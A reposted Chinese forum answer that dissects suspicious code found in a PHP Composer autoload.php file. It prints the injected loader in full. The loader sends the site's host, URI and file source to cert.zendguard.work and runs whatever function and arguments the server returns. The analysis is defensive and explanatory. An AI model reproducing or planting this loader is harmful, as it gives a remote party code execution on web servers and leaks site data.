当前位置:首页 > 每日看点

php composer的autoload.php文件里面有奇怪的内容,是中毒了吗?

卡卷网2年前 (2024-12-09)每日看点300
是中毒了吗?

嘘~ 别出声,跟我来......

干啥?去哪?

这儿大神太多,我不好意思说,咱俩悄悄滴...... 我有笨办法......

开始~

#1. 关于域名 zendguard.work

通过 whoxy 检索,确实查不到什么有用的信息:

php composer的autoload.php文件里面有奇怪的内容,是中毒了吗?  第1张

  1. 注册商:NameCheap, Inc.,一家美国的域名注册及服务器托管商;
  2. 域名所有者申请了隐私保护;
  3. 冰岛。

定位 IP 的话,在这儿:

php composer的autoload.php文件里面有奇怪的内容,是中毒了吗?  第2张

这确实是个风险因素,按一般人的逻辑,你要正经做生意(敢起 zendguard 这么 “酷” 的名字......),犯得着藏着掖着嘛?

但这个域名背后是不是一定蹲着个 “坏蛋”,不好说。

如果路子野,也许可以试着联系 NameCheap。

#2. 关于 “奇怪的内容”

我笨,所以要一行一行分析这些 “奇怪的代码” 都干了什么......

先看整体:

<?php //--- 第一次启动,必然访问 zendguard.work,然后取回点什么,赋值给 $cert if( defined("SITE_") ){ $cert = false; } else { //访问 zendguard.work //赋值 } //--- 准备工作做完了,后面不用再访问 zendguard.work,设置个标志 !defined("SITE_") && @define("SITE_", 1); //--- 不论是做好事还是做坏事,反正它开始做了 if($cert != false) { //干点什么 }

那它访问 zendguard.work 的时候干什么了呢?

$cert = @file_get_contents( //--- 拼了这么一个地址 http://cert.zendguard.work/sign/HTTP_HOST //--- 此时,非要说“暴露”了什么,那就是这个 HTTP_HOST,比如 localhost:8080,www.abc.com //--- 但往好里想的话,对面可能只是拿 HTTP_HOST 当“用户名”,仅此而已 'http://cert.zendguard.work/sig' . 'n/' . @$_SERVER["HTTP_HOST"], 0 , //--- 访问 zendguard.work 的时候,模拟 POST 发送了点儿什么 stream_context_create( array( "http" => array( "ignore_errors" => true, "timeout" => (isset($_REQUEST["T0o"]) ? intval($_REQUEST["T0o"]) : (isset($_SERVER["HTTP_T0O"]) ? intval($_SERVER["HTTP_T0O"]) : 1)), "method" => "POST", "header" => "Contet-Type: application/x-www-form-urlencoded", "content" => http_build_query( //--- 以上都是些有的没的,重点看下面 array( //--- 这里把你完整的 URI 取出来了,比如 http://www.abc.com/admin/index.php "url" => ((isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "no" ? "https" : "http") . "://" . @$_SERVER["HTTP_HOST"] . @$_SERVER["REQUEST_URI"]), //--- 这里拿了物理路径... //--- 然后,把该文件的源码直接发了 "src" => file_exists(__FILE__) ? file_get_contents(__FILE__) : "" ) ) ) ) ) );

至此,你的 HTTP_HOST,REQUEST_URI,以及这个文件的源码,都被发给 zendguard.work 了,然后 zendguard.work 响应了一些什么,存在了 $cert 里。

好像也没啥......(乐观)

最后看关键的:

//--- 开始干活 if($cert != false) { $cert = @json_decode($cert, 1); if(isset($cert["f"]) && isset($cert["a1"]) && isset($cert["a2"]) && isset($cert["a3"])) { $cert["f"]($cert["a1"], $cert["a2"], $cert["a3"]); } else if(isset($cert["f"]) && isset($cert["a1"]) && isset($cert["a2"])){ $cert["f"]($cert["a1"], $cert["a2"]); } else if(isset($cert["f"]) && isset($cert["a1"])){ $cert["f"]($cert["a1"]); } else if(isset($cert["f"])){ $cert["f"](); } }

为了直观,我把代码换一种写法:

//假设你的项目文件中存在以下代码(小偷已经进家了) //可能是被黑掉的,也可能是你主动安装框架、库、扩展时引入的 function 小偷(是否动手, 建议偷什么, 不能偷什么){ //do something... } //zendguard.work 开始下指令了 //1.通知小偷,该干活了,可以偷彩电,千万别碰洗衣机 if(小偷 && 动手 && 彩电 && 洗衣机){ 小偷(动手, 彩电, 洗衣机); } //2.通知小偷,该干活了,建议偷彩电,但其他的也不是不行 else if(小偷 && 动手 && 彩电){ 小偷(动手, 彩电); } //3. 通知小偷,该干活了,全都要 else if(小偷 && 动手){ 小偷(动手); } //4. 通知小偷,待命 else if(小偷){ 小偷(); } //5. 小偷没进家,放他一马

这是往坏里想......

往好里想的话:

//假设你的项目中存在以下代码 function 售后服务(到期没, 要不要通知他一下, 要不要断了他的服务){ //do something... }

这么看,也不是不行......

唉......

我这废了半天劲,还不如你直接 log 一下 $cert 里面到底存了啥,哪怕明文 var_dump 一下呢。

然后,如果 $cert["f"] = “张三”,你再去源码里搜 “张三” 嘛......

最后叠个甲,我不搞 PHP,说错了别怪我......

php composer的autoload.php文件里面有奇怪的内容,是中毒了吗?  第3张

扫描二维码推送至手机访问。

版权声明:本文由卡卷网发布,如需转载请注明出处。

本文链接:https://www.kajuan.net/ttnews/2024/12/3635.html

分享给朋友:

相关文章

创业值得吗?

许多企业主会说,是的。企业所有权可能意味着利润以及一定程度的财务稳定性。此外,对于小企业主来说,它提供了摆脱朝九晚五工作限制的机会,这些工作可能不会给您带来快乐或成就感。也就是说,创业并非没有挑战——从提出一个有利可图的想法,到获得资金,再…

下班后可以做点什么副业赚钱呢?

下班后可以做点什么副业赚钱呢?

首先说明一下,我分享的任务不需要交钱,也不需要入群,只需要你去平台学习就可以。如果有任何让你交钱,进群的任务,请警惕被 割韭菜 。今天给大家分享 7大赚钱副业,新手小白0粉丝 0门槛0技术都可以去做,不说大富大贵,但是赚个零花钱还是可以。如…

有没有推荐什么手游搬砖,或者是用手机就能做的工作能日入100左右就好了?

有没有推荐什么手游搬砖,或者是用手机就能做的工作能日入100左右就好了?

大家好,我是思聪。思聪游戏搬砖社每天分享真实靠谱的游戏赚钱的方法。 整个游戏的攻略用一句话概括就是:打元宝兑换平台物品,xx元宝兑换一个分红物品。你把你打游戏得来的元宝去兑换平台的分红物品,就能每天领取xx元的分红。(具体看是哪个分红物品,…

有哪些让你目瞪口呆的 Bug ?

有哪些让你目瞪口呆的 Bug ?

成都有个监狱情况比较特殊,关押的基本全是重犯,而且还都是经济犯和政治犯, 他们以前都是一方大佬,在自己的一亩三分地翻手为云覆手为雨,无非是不小心中箭落马或帮老大顶锅才进监狱, 所以即使进来了,他们依然保持着体面和骄傲,依从性差,虽然不至于和…

抖音上有一些账号搬运别人的视频,几乎一模一样,也没判搬运,他们是怎么做到的??

对于任何短视频平台来说,如何用最低的成本快速实现伪原创搬运都是需要解决的问题。 所有的短视频平台,包括抖音、快手、tiktok、视频号、小红书、B站,甚至是FB、推特、INS、YouTube,它们的查重技术都是类似的,只要你在网络环境设置得…

抖音小店三个月了一单没出,也没有流量,一个星期好像都没有一个点击,怎么办?

抖音小店三个月了一单没出,也没有流量,一个星期好像都没有一个点击,怎么办?

好消息,你有毅力上200多个品,还能坚持三个月 坏消息,一单没出 我感觉你还是别碰抖店了,甚至电商平台都别碰 你没这个缘分 我要是这样,我得用一百辆叉车叉死我自己 你如果还想坚持,我直接给你这套至少价值19800学来的新思路 简单来说就是…

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。